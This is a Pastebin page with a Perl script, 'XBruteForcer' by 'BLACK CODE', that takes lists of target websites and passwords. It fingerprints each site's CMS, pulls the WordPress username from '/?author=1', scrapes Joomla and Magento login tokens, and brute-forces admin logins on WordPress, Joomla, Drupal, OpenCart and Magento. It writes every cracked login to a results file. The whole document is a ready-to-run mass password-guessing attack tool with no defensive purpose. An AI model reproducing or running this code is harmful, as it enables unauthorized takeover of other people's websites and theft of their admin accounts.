Advertisement
Guest User

111.pl

a guest
Jan 30th, 2019
768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.79 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Win32::Console::ANSI;
  4. use Term::ANSIColor;
  5. use URI::URL;
  6. use Getopt::Long;
  7. use LWP::UserAgent;
  8. use IO::Socket::INET;
  9. use HTTP::Request;
  10. use HTTP::Cookies;
  11. use HTTP::Request::Common qw(POST);
  12. use HTTP::Request::Common qw(GET);
  13.  
  14. $ua = LWP::UserAgent->new(keep_alive => 1);
  15. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  16. $ua->timeout (10);
  17.  
  18. if ($^O =~ /MSWin32/) {system("cls"); }else { system("clear"); }
  19.  
  20. GetOptions(
  21. "l|list=s" => \$list,
  22. "p|passwords=s" => \$pass,
  23. );
  24.  
  25. banner();
  26. system("title Developed By BLACK_CODE");
  27. unless ($list|$pass) { help(); }
  28. if ($list|$pass) { XBruteForcer(); }
  29.  
  30. sub banner() {
  31. print color('bold red')," __ __ ";
  32. print color('bold white')," ____ _ ______ \n";
  33. print color('bold red')," \\ \\ / / ";
  34. print color('bold white')," | _ \\ | | | ____| \n";
  35. print color('bold red')," \\ V / ";
  36. print color('bold white')," | |_) |_ __ _ _| |_ ___ | |__ __ _ __ ___ ___ _ __ \n";
  37. print color('bold red')," > < ";
  38. print color('bold white')," | _ <| '__| | | | _/ _ \\ | __/ _ \\| '__/ __/ _ \\ '__|\n";
  39. print color('bold red')," / . \\ ";
  40. print color('bold white')," | |_) | | | |_| | || __/ | | | (_) | | | (_| __/ | \n";
  41. print color('bold red')," /_/ \\_\\ ";
  42. print color('bold white')," |____/|_| \\__,_|\\__\\___| |_| \\___/|_| \\___\\___|_| ";
  43. print color('bold red'),"v1.2\n\n";
  44. print color('bold red'),"\t\t [";
  45. print color('bold white'),"Developed By BLACK CODE";
  46. print color('bold red'),"]\n";
  47. print color('reset');
  48. };
  49. $a = 0;
  50. sub help {
  51. print q(
  52. Usage: perl MBrute.pl -l list.txt -p passwords.txt
  53.  
  54. OPTIONS:
  55. -l => websites list
  56. -p => Passwords list
  57. );
  58. }
  59. sub XBruteForcer {
  60. print color('bold red'),"[";
  61. print color('bold green'),"1";
  62. print color('bold red'),"]";
  63. print color('bold white')," WordPress \n";
  64. print color('bold red'),"[";
  65. print color('bold green');
  66. print color('bold green'),"2";
  67. print color('bold red'),"]";
  68. print color('bold white')," Joomla \n";
  69. print color('bold red'),"[";
  70. print color('bold green'),"3";
  71. print color('bold red'),"]";
  72. print color('bold white')," DruPal \n";
  73. print color('bold red'),"[";
  74. print color('bold green'),"4";
  75. print color('bold red'),"]";
  76. print color('bold white')," OpenCart \n";
  77. print color('bold red'),"[";
  78. print color('bold green'),"5";
  79. print color('bold red'),"]";
  80. print color('bold white')," Magento \n";
  81. print color('bold red'),"[";
  82. print color('bold green'),"6";
  83. print color('bold red'),"]";
  84. print color('bold white')," Auto \n";
  85. print color('bold red'),"[";
  86. print color('bold green'),"+";
  87. print color('bold red'),"]";
  88. print color('bold white')," Choose Number : ";
  89.  
  90. my $number = <STDIN>;
  91. chomp $number;
  92.  
  93. if($number eq '1')
  94. {
  95. open (THETARGET, "<$list") || die "[-] Can't open the file";
  96. @TARGETS = <THETARGET>;
  97. close THETARGET;
  98. $link=$#TARGETS + 1;
  99.  
  100. OUTER: foreach $site(@TARGETS){
  101. chomp($site);
  102. $a++;
  103. print "\n[$a] URL: $site\n";
  104. wpuser();
  105. }
  106. }
  107.  
  108. if($number eq '2')
  109. {
  110.  
  111. open (THETARGET, "<$list") || die "[-] Can't open the file";
  112. @TARGETS = <THETARGET>;
  113. close THETARGET;
  114. $link=$#TARGETS + 1;
  115.  
  116. OUTER: foreach $site(@TARGETS){
  117. chomp($site);
  118.  
  119. print "\n[$a] URL: $site\n";
  120. joomla();
  121. }
  122. }
  123.  
  124. if($number eq '3')
  125. {
  126.  
  127. open (THETARGET, "<$list") || die "[-] Can't open the file";
  128. @TARGETS = <THETARGET>;
  129. close THETARGET;
  130. $link=$#TARGETS + 1;
  131.  
  132. OUTER: foreach $site(@TARGETS){
  133. chomp($site);
  134.  
  135. print "\n[$a] URL: $site\n";
  136. drupal();
  137. }
  138. }
  139.  
  140. if($number eq '4')
  141. {
  142.  
  143. open (THETARGET, "<$list") || die "[-] Can't open the file";
  144. @TARGETS = <THETARGET>;
  145. close THETARGET;
  146. $link=$#TARGETS + 1;
  147.  
  148. OUTER: foreach $site(@TARGETS){
  149. chomp($site);
  150.  
  151. print "\n\n[$a] URL: $site\n";
  152. opencart();
  153. }
  154. }
  155.  
  156. if($number eq '5')
  157. {
  158.  
  159. open (THETARGET, "<$list") || die "[-] Can't open the file";
  160. @TARGETS = <THETARGET>;
  161. close THETARGET;
  162. $link=$#TARGETS + 1;
  163.  
  164. OUTER: foreach $site(@TARGETS){
  165. chomp($site);
  166.  
  167. print "\n\n[$a] URL: $site\n";
  168. magento();
  169. }
  170. }
  171. if($number eq '6')
  172. {
  173.  
  174. open (THETARGET, "<$list") || die "[-] Can't open the file";
  175. @TARGETS = <THETARGET>;
  176. close THETARGET;
  177. $link=$#TARGETS + 1;
  178.  
  179. OUTER: foreach $site(@TARGETS){
  180. chomp($site);
  181.  
  182. print "\n\n[$a] URL: $site";
  183. cms();
  184. }
  185. }
  186. }
  187.  
  188. ################ CMS DETCTER #####################
  189. sub cms(){
  190. $magsite = $site . '/admin';
  191. my $magcms = $ua->get("$magsite")->content;
  192. my $cms = $ua->get("$site")->content;
  193. if($cms =~/wp-content|wordpress/) {
  194. print color("bold white"), " - WordPress\n\n";
  195. wpuser();
  196. }
  197.  
  198. elsif($cms =~/<script type=\"text\/javascript\" src=\"\/media\/system\/js\/mootools.js\"><\/script>| \/media\/system\/js\/|com_content|Joomla!/) {
  199. print color("bold white"), " - Joomla\n\n";
  200. joomla();
  201. }
  202. elsif($cms =~/Drupal|drupal|sites\/all|drupal.org/) {
  203. print color("bold white"), " - Drupal\n\n";
  204. drupal();
  205. }
  206.  
  207. elsif($cms =~/route=product|OpenCart|route=common|catalog\/view\/theme/) {
  208. print color("bold white"), " - OpenCart\n\n";
  209. opencart();
  210. }
  211.  
  212. elsif($magcms =~/Log into Magento Admin Page|name=\"dummy\" id=\"dummy\"|Magento/) {
  213. print color("bold white"), " - Magento\n\n";
  214. magento();
  215. }
  216. else{
  217. print color("bold white"), " - Unknown\n\n";
  218. }
  219. }
  220.  
  221.  
  222. ###### GET WP USER #######
  223. sub wpuser{
  224. print color('reset');
  225. $user = $site . '/?author=1';
  226.  
  227. $getuser = $ua->get($user)->content;
  228. if($getuser =~/author\/(.*?)\//){
  229. $wpuser=$1;
  230. print "[+] Username: $wpuser\n";
  231. wp();
  232. }
  233. else {
  234. print "Can't Get Username\n\n";
  235. }
  236. }
  237.  
  238. ###### WorDPress #######
  239. sub wp{
  240. print"[-] Starting brute force";
  241. open(a,"<$pass") or die "$!";
  242. while(<a>){
  243. chomp($_);
  244. $wp = $site . '/wp-login.php';
  245. $redirect = $site . '/wp-admin/';
  246.  
  247. $xd = "$wpuser";
  248. $xl = "$_";
  249. $wpass = join ("", $xd, $xl);
  250.  
  251. print "\n[-] Trying: $wpass ";
  252. $wpbrute = POST $wp, [log => $wpuser, pwd => $wpass, wp-submit => 'Log In', redirect_to => $redirect];
  253. $response = $ua->request($wpbrute);
  254. my $stat = $response->as_string;
  255.  
  256. if($stat =~ /Location:/){
  257. if($stat =~ /wordpress_logged_in/){
  258.  
  259. print "- ";
  260. print color('bold green'),"FOUND\n";
  261. print color('reset');
  262.  
  263. open (TEXT, '>>Result.txt');
  264. print TEXT "$wp ==> User: $wpuser Pass: $wpass\n";
  265. close (TEXT);
  266. next OUTER;
  267. }
  268. }
  269. }
  270. }
  271. ###### Joomla #######
  272. sub joomla{
  273. $joomsite = $site . '/administrator/index.php';
  274.  
  275. $ua = LWP::UserAgent->new(keep_alive => 1);
  276. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  277. $ua->timeout (30);
  278. $ua->cookie_jar(
  279. HTTP::Cookies->new(
  280. file => 'mycookies.txt',
  281. autosave => 1
  282. )
  283. );
  284.  
  285.  
  286. $getoken = $ua->get($joomsite)->content;
  287. if ( $getoken =~ /name="(.*)" value="1"/ ) {
  288. $token = $1 ;
  289. }else{
  290. print "[-] Can't Grabb Joomla Token !\n";
  291. next OUTER;
  292. }
  293.  
  294. print"[-] Starting brute force";
  295. open(a,"<$pass") or die "$!";
  296. while(<a>){
  297. chomp($_);
  298. $joomuser = admin;
  299. $joompass = $_;
  300. print "\n[-] Trying: $joompass ";
  301. $joomlabrute = POST $joomsite, [username => $joomuser, passwd => $joompass, lang =>en-GB, option => user_login, task => login, $token => 1];
  302. $response = $ua->request($joomlabrute);
  303.  
  304. my $check = $ua->get("$joomsite")->content;
  305. if ($check =~ /logout/){
  306. print "- ";
  307. print color('bold green'),"FOUND\n";
  308. print color('reset');
  309.  
  310. open (TEXT, '>>Result.txt');
  311. print TEXT "$joomsite => User: $joomuser Pass: $joompass\n";
  312. close (TEXT);
  313. next OUTER;
  314. }
  315. }
  316. }
  317.  
  318. ######DruPal#######
  319. sub drupal{
  320. print"[-] Starting brute force";
  321. open(a,"<$pass") or die "$!";
  322. while(<a>){
  323. chomp($_);
  324. $druser = admin;
  325. $drupass = $_;
  326. print "\n[-] Trying: $drupass ";
  327.  
  328. $drupal = $site . '/user/login';
  329. $redirect = $site . '/user/1';
  330.  
  331. $drupalbrute = POST $drupal, [name => $druser, pass => $drupass, form_build_id =>'', form_id => 'user_login',op => 'Log in', location => $redirect];
  332. $response = $ua->request($drupalbrute);
  333. $stat = $response->status_line;
  334. if ($stat =~ /302/){
  335. print "- ";
  336. print color('bold green'),"FOUND\n";
  337. print color('reset');
  338.  
  339. open (TEXT, '>>Result.txt');
  340. print TEXT "$drupal => User: $druser Pass: $drupass\n";
  341. close (TEXT);
  342. next OUTER;
  343. }
  344. }
  345. }
  346.  
  347. ###### OpenCart #######
  348. sub opencart{
  349. print"[-] Starting brute force";
  350. open(a,"<$pass") or die "$!";
  351. while(<a>){
  352. chomp($_);
  353. $ocuser = admin;
  354. $ocpass = $_;
  355. print "\n[-] Trying: $ocpass ";
  356. $OpenCart= $site . '/admin/index.php';
  357.  
  358. $ocbrute = POST $OpenCart, [username => $ocuser, password => $ocpass,];
  359. $response = $ua->request($ocbrute);
  360. $stat = $response->status_line;
  361. if ($stat =~ /302/){
  362. print "- ";
  363. print color('bold green'),"FOUND\n";
  364. print color('reset');
  365. open (TEXT, '>>Result.txt');
  366. print TEXT "$OpenCart => User: $ocuser Pass: $ocpass\n";
  367. close (TEXT);
  368. next OUTER;
  369. }
  370. }
  371. }
  372.  
  373. ###### Magento #######
  374. sub magento{
  375. $magsite = $site . '/admin';
  376.  
  377. $ua = LWP::UserAgent->new(keep_alive => 1);
  378. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  379. $ua->timeout (30);
  380. $ua->cookie_jar(
  381. HTTP::Cookies->new(
  382. file => 'mycookies.txt',
  383. autosave => 1
  384. )
  385. );
  386.  
  387. $getoken = $ua->get($magsite)->content;
  388. if ( $getoken =~ /type="hidden" value="(.*)"/ ) {
  389. $token = $1 ;
  390. }else{
  391. print "[-] Can't Grabb Magento Token !\n";
  392. next OUTER;
  393. }
  394.  
  395. print"[-] Starting brute force";
  396. open(a,"<$pass") or die "$!";
  397. while(<a>){
  398. chomp($_);
  399. $maguser = "admin";
  400. $magpass = $_;
  401. print "\n[-] Trying: $magpass ";
  402.  
  403. $magbrute = POST $magsite, ["form_key" => "$token", "login[username]" => "$maguser", "dummy" => "", "login[password]" => "$magpass"];
  404. $response = $ua->request($magbrute);
  405. my $pwnd = $ua->get("$magsite")->content;
  406. if ($pwnd =~ /logout/){
  407. print "- ";
  408. print color('bold green'),"FOUND\n";
  409. print color('reset');
  410. open (TEXT, '>>Result.txt');
  411. print TEXT "$magsite => User: $maguser Pass: $magpass\n";
  412. close (TEXT);
  413. next OUTER;
  414. }
  415. }
  416. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement